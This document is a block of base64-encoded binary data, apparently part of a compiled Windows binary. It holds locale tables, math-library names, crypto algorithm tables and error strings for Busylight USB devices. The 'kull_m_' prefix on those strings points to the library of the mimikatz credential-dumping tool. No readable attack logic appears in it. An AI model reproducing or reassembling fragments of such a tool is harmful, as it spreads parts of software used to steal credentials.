FUAAABoAHIALQBIAFIAAABzAGsALQBTAEsAAABzAHEALQBBAEwAAABzAHYALQBTAEUAAAB0AGgALQBUAEgAAAB0AHIALQBUAFIAAAB1AHIALQBQAEsAAABpAGQALQBJAEQAAAB1AGsALQBVAEEAAABiAGUALQBCAFkAAABzAGwALQBTAEkAAABlAHQALQBFAEUAAABsAHYALQBMAFYAAABsAHQALQBMAFQAAABmAGEALQBJAFIAAAB2AGkALQBWAE4AAABoAHkALQBBAE0AAABhAHoALQBBAFoALQBMAGEAdABuAAAAAABlAHUALQBFAFMAAABtAGsALQBNAEsAAAB0AG4ALQBaAEEAAAB4AGgALQBaAEEAAAB6AHUALQBaAEEAAABhAGYALQBaAEEAAABrAGEALQBHAEUAAABmAG8ALQBGAE8AAABoAGkALQBJAE4AAABtAHQALQBNAFQAAABzAGUALQBOAE8AAABtAHMALQBNAFkAAABrAGsALQBLAFoAAABrAHkALQBLAEcAAABzAHcALQBLAEUAAAB1AHoALQBVAFoALQBMAGEAdABuAAAAAAB0AHQALQBSAFUAAABiAG4ALQBJAE4AAABwAGEALQBJAE4AAABnAHUALQBJAE4AAAB0AGEALQBJAE4AAAB0AGUALQBJAE4AAABrAG4ALQBJAE4AAABtAGwALQBJAE4AAABtAHIALQBJAE4AAABzAGEALQBJAE4AAABtAG4ALQBNAE4AAABjAHkALQBHAEIAAABnAGwALQBFAFMAAABrAG8AawAtAEkATgAAAAAAcwB5AHIALQBTAFkAAAAAAGQAaQB2AC0ATQBWAAAAAABxAHUAegAtAEIATwAAAAAAbgBzAC0AWgBBAAAAbQBpAC0ATgBaAAAAYQByAC0ASQBRAAAAZABlAC0AQwBIAAAAZQBuAC0ARwBCAAAAZQBzAC0ATQBYAAAAZgByAC0AQgBFAAAAaQB0AC0AQwBIAAAAbgBsAC0AQgBFAAAAbgBuAC0ATgBPAAAAcAB0AC0AUABUAAAAcwByAC0AUwBQAC0ATABhAHQAbgAAAAAAcwB2AC0ARgBJAAAAYQB6AC0AQQBaAC0AQwB5AHIAbAAAAAAAcwBlAC0AUwBFAAAAbQBzAC0AQgBOAAAAdQB6AC0AVQBaAC0AQwB5AHIAbAAAAAAAcQB1AHoALQBFAEMAAAAAAGEAcgAtAEUARwAAAHoAaAAtAEgASwAAAGQAZQAtAEEAVAAAAGUAbgAtAEEAVQAAAGUAcwAtAEUAUwAAAGYAcgAtAEMAQQAAAHMAcgAtAFMAUAAtAEMAeQByAGwAAAAAAHMAZQAtAEYASQAAAHEAdQB6AC0AUABFAAAAAABhAHIALQBMAFkAAAB6AGgALQBTAEcAAABkAGUALQBMAFUAAABlAG4ALQBDAEEAAABlAHMALQBHAFQAAABmAHIALQBDAEgAAABoAHIALQBCAEEAAABzAG0AagAtAE4ATwAAAAAAYQByAC0ARABaAAAAegBoAC0ATQBPAAAAZABlAC0ATABJAAAAZQBuAC0ATgBaAAAAZQBzAC0AQwBSAAAAZgByAC0ATABVAAAAYgBzAC0AQgBBAC0ATABhAHQAbgAAAAAAcwBtAGoALQBTAEUAAAAAAGEAcgAtAE0AQQAAAGUAbgAtAEkARQAAAGUAcwAtAFAAQQAAAGYAcgAtAE0AQwAAAHMAcgAtAEIAQQAtAEwAYQB0AG4AAAAAAHMAbQBhAC0ATgBPAAAAAABhAHIALQBUAE4AAABlAG4ALQBaAEEAAABlAHMALQBEAE8AAABzAHIALQBCAEEALQBDAHkAcgBsAAAAAABzAG0AYQAtAFMARQAAAAAAYQByAC0ATwBNAAAAZQBuAC0ASgBNAAAAZQBzAC0AVgBFAAAAcwBtAHMALQBGAEkAAAAAAGEAcgAtAFkARQAAAGUAbgAtAEMAQgAAAGUAcwAtAEMATwAAAHMAbQBuAC0ARgBJAAAAAABhAHIALQBTAFkAAABlAG4ALQBCAFoAAABlAHMALQBQAEUAAABhAHIALQBKAE8AAABlAG4ALQBUAFQAAABlAHMALQBBAFIAAABhAHIALQBMAEIAAABlAG4ALQBaAFcAAABlAHMALQBFAEMAAABhAHIALQBLAFcAAABlAG4ALQBQAEgAAABlAHMALQBDAEwAAABhAHIALQBBAEUAAABlAHMALQBVAFkAAABhAHIALQBCAEgAAABlAHMALQBQAFkAAABhAHIALQBRAEEAAABlAHMALQBCAE8AAABlAHMALQBTAFYAAABlAHMALQBIAE4AAABlAHMALQBOAEkAAABlAHMALQBQAFIAAAB6AGgALQBDAEgAVAAAAAAAcwByA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MiSBxCyAAAA1JIHEKoAAADgkgcQRgAAAOySBxBwAAAAYQBmAC0AegBhAAAAYQByAC0AYQBlAAAAYQByAC0AYgBoAAAAYQByAC0AZAB6AAAAYQByAC0AZQBnAAAAYQByAC0AaQBxAAAAYQByAC0AagBvAAAAYQByAC0AawB3AAAAYQByAC0AbABiAAAAYQByAC0AbAB5AAAAYQByAC0AbQBhAAAAYQByAC0AbwBtAAAAYQByAC0AcQBhAAAAYQByAC0AcwBhAAAAYQByAC0AcwB5AAAAYQByAC0AdABuAAAAYQByAC0AeQBlAAAAYQB6AC0AYQB6AC0AYwB5AHIAbAAAAAAAYQB6AC0AYQB6AC0AbABhAHQAbgAAAAAAYgBlAC0AYgB5AAAAYgBnAC0AYgBnAAAAYgBuAC0AaQBuAAAAYgBzAC0AYgBhAC0AbABhAHQAbgAAAAAAYwBhAC0AZQBzAAAAYwBzAC0AYwB6AAAAYwB5AC0AZwBiAAAAZABhAC0AZABrAAAAZABlAC0AYQB0AAAAZABlAC0AYwBoAAAAZABlAC0AZABlAAAAZABlAC0AbABpAAAAZABlAC0AbAB1AAAAZABpAHYALQBtAHYAAAAAAGUAbAAtAGcAcgAAAGUAbgAtAGEAdQAAAGUAbgAtAGIAegAAAGUAbgAtAGMAYQAAAGUAbgAtAGMAYgAAAGUAbgAtAGcAYgAAAGUAbgAtAGkAZQAAAGUAbgAtAGoAbQAAAGUAbgAtAG4AegAAAGUAbgAtAHAAaAAAAGUAbgAtAHQAdAAAAGUAbgAtAHUAcwAAAGUAbgAtAHoAYQAAAGUAbgAtAHoAdwAAAGUAcwAtAGEAcgAAAGUAcwAtAGIAbwAAAGUAcwAtAGMAbAAAAGUAcwAtAGMAbwAAAGUAcwAtAGMAcgAAAGUAcwAtAGQAbwAAAGUAcwAtAGUAYwAAAGUAcwAtAGUAcwAAAGUAcwAtAGcAdAAAAGUAcwAtAGgAbgAAAGUAcwAtAG0AeAAAAGUAcwAtAG4AaQAAAGUAcwAtAHAAYQAAAGUAcwAtAHAAZQAAAGUAcwAtAHAAcgAAAGUAcwAtAHAAeQAAAGUAcwAtAHMAdgAAAGUAcwAtAHUAeQAAAGUAcwAtAHYAZQAAAGUAdAAtAGUAZQAAAGUAdQAtAGUAcwAAAGYAYQAtAGkAcgAAAGYAaQAtAGYAaQAAAGYAbwAtAGYAbwAAAGYAcgAtAGIAZQAAAGYAcgAtAGMAYQAAAGYAcgAtAGMAaAAAAGYAcgAtAGYAcgAAAGYAcgAtAGwAdQAAAGYAcgAtAG0AYwAAAGcAbAAtAGUAcwAAAGcAdQAtAGkAbgAAAGgAZQAtAGkAbAAAAGgAaQAtAGkAbgAAAGgAcgAtAGIAYQAAAGgAcgAtAGgAcgAAAGgAdQAtAGgAdQAAAGgAeQAtAGEAbQAAAGkAZAAtAGkAZAAAAGkAcwAtAGkAcwAAAGkAdAAtAGMAaAAAAGkAdAAtAGkAdAAAAGoAYQAtAGoAcAAAAGsAYQAtAGcAZQAAAGsAawAtAGsAegAAAGsAbgAtAGkAbgAAAGsAbwBrAC0AaQBuAAAAAABrAG8ALQBrAHIAAABrAHkALQBrAGcAAABsAHQALQBsAHQAAABsAHYALQBsAHYAAABtAGkALQBuAHoAAABtAGsALQBtAGsAAABtAGwALQBpAG4AAABtAG4ALQBtAG4AAABtAHIALQBpAG4AAABtAHMALQBiAG4AAABtAHMALQBtAHkAAABtAHQALQBtAHQAAABuAGIALQBuAG8AAABuAGwALQBiAGUAAABuAGwALQBuAGwAAABuAG4ALQBuAG8AAABuAHMALQB6AGEAAABwAGEALQBpAG4AAABwAGwALQBwAGwAAABwAHQALQBiAHIAAABwAHQALQBwAHQAAABxAHUAegAtAGIAbwAAAAAAcQB1AHoALQBlAGMAAAAAAHEAdQB6AC0AcABlAAAAAAByAG8ALQByAG8AAAByAHUALQByAHUAAABzAGEALQBpAG4AAABzAGUALQBmAGkAAABzAGUALQBuAG8AAABzAGUALQBzAGUAAABzAGsALQBzAGsAAABzAGwALQBzAGkAAABzAG0AYQAtAG4AbwAAAAAAcwBtAGEALQBzAGUAAAAAAHMAbQBqAC0AbgBvAAAAAABzAG0AagAtAHMAZQAAAAAAcwBtAG4ALQBmAGkAAAAAAHMAbQBzAC0AZgBpAAAAAABzAHEALQBhAGwAAABzAHIALQBiAGEALQBjAHkAcgBsAAAAAABzAHIALQBiAGEALQBsAGEAdABuAAAAAABzAHIALQBzAHAALQBjAHkAcgBsAAAAAABzAHIALQBzAHAALQBsAGEAdABuA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HQAaAAgAGIAbwBvAHQAbABvAGEAZABlAHIAKQAAAAAAQgB1AHMAeQBsAGkAZwBoAHQAIABVAEMAIABtAG8AZABlAGwAAAAAAGsAdQBhAG4AZABvAEIATwBYAAAAQgB1AHMAeQBsAGkAZwBoAHQAIABPAG0AZQBnAGEAIABtAG8AZABlAGwAAABCAHUAcwB5AGwAaQBnAGgAdAAgAEwAeQBuAGMAIABtAG8AZABlAGwAIAAoAE0AaQBjAHIAbwBjAGgAaQBwACAASQBkACkAAABGAHUAagBpAHQAcwB1ACAATQBNAE0AMgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAASABpAGQAUABfAEcAZQB0AEMAYQBwAHMAIAAoACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAIAAoAGgASwBlAGUAcABBAGwAaQB2AGUAVABoAHIAZQBhAGQAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAcwBfAGcAZQB0ACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAGgAQgB1AHMAeQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABkAGUAdgBpAGMAZQBIAGEAbgBkAGwAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAcwBfAGcAZQB0ACAAOwAgAFMAZQB0AHUAcABEAGkARwBlAHQAQwBsAGEAcwBzAEQAZQB2AHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAHIAZQBxAHUAZQBzAHQAXwBjAHIAZQBhAHQAZQAgADsAIABjAG8AdQBuAHQAPQAlAHUAIAAoAG0AYQB4ACAAaQBzACAANwApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAXwBzAGUAbgBkAF8AcgBhAHcAIAA7ACAAWwBkAGUAdgBpAGMAZQAgACUAdQBdACAAVwByAGkAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHMAZQBuAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABTAGkAegBlACAAaQBzACAAbgBvAHQAIAB2AGEAbABpAGQAZQAgACgAcwBpAHoAIAA9ACAAJQB1ACwAIABtAGEAeAAgAD0AIAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHMAZQBuAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABJAG4AdgBhAGwAaQBkACAARABlAHYAaQBjAGUALwBCAHUAcwB5ACAASABhAG4AZABsAGUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHIAZQBhAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABSAGUAYQBkAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHIAZQBhAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIAAlAHUAIABiAHkAdABlACgAcwApACAAcgBlAGEAZABlAGQALAAgACUAdQAgAHcAYQBuAHQAZQBkAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHIAZQBhAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABJAG4AdgBhAGwAaQBkACAARABlAHYAaQBjAGUALwBCAHUAcwB5ACAASABhAG4AZABsAGUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHIAZQBhAGQAXwBpAG4AZgBvAHMAIAA7ACAAWwBkAGUAdgBpAGMAZQAgACUAdQBdACAAZABhAHQAYQBbADAAXQAgAGkAcwAgAG4AbwB0ACAATgBVAEwATAAgACgAMAB4ACUAMAAyAHgAKQAKAAAAAAAAAAAAuyfKOw4AAACQnwcQuyfLOwYAAADgnwcQuyfMOwEAAAAIoAcQuyfNOw4AAAAcoAcQ2ARI+AYAAABIoAcQ+AsgEAIAAACQoAcQAGRkAIgFCBCUBQgQpAUIEMAFCBC0BAgQuAQIEMgECBDoBAgQEAUIEEAFCBBoBQgQAAAAAB0ACAABWxUDEAAIBgZMAPH/Wx0AFAABWxUDJABMAOj/TADw/1xbGwMEABkAAAABAEtcSEkEAAAAAQAAAAAAEgDY/1sIXFsdABAAAVsWA4gAS1xGXBQAFAASCCVcWwhMAKb/CEwA4f9MAKn/TACl/0wAof9MANH/TACZ/1sbAwQAGQAIAAEAS1xISQQAAAABAAAAAAASALb/WwhcWxsAAQAZABQAAQABWxYDHABLXEZcGAAYABIA5v9bTABL/wgICFxbGwMEABkAEAABAEtcSEkEAAAAAQAAAAAAEgDM/1sIXFsWAxgAS1xGXAQABAASADb/RlwMAAwAEgCC/0ZcFAAUABIAvv9bCAgICAgIWwAAVFAgMwMAAAAAAAAAAAAAAAAAAABkHwgQAYAAAHgfCBACgAAAjB8IEAOAAACgHwgQBIAAALQfCBAFgAAAyB8IEAAkAADkHwgQACIAAAAgCBAAIAAAHCAIEACkAAA4IAgQAWYAAEwgCBAJZgAAaCAIEANmAAB8IAgQBGYAAJAgCBACZgAApCAIEAFoAAC4IAgQAmgAAMwgCBABqgAA5CAIEAKqAAAAIQgQA6oAACghCBAEqgAARCEIEAOgAABkIQgQCmYAAIAhCBALZgAAlCEIEAxmAAC0IQgQCIAAANghCBABTAAA/CEIEAJMAAAwIggQA0wAAFwiCBAHTAAAiCIIEARMAACsIggQBUwAANAiCBA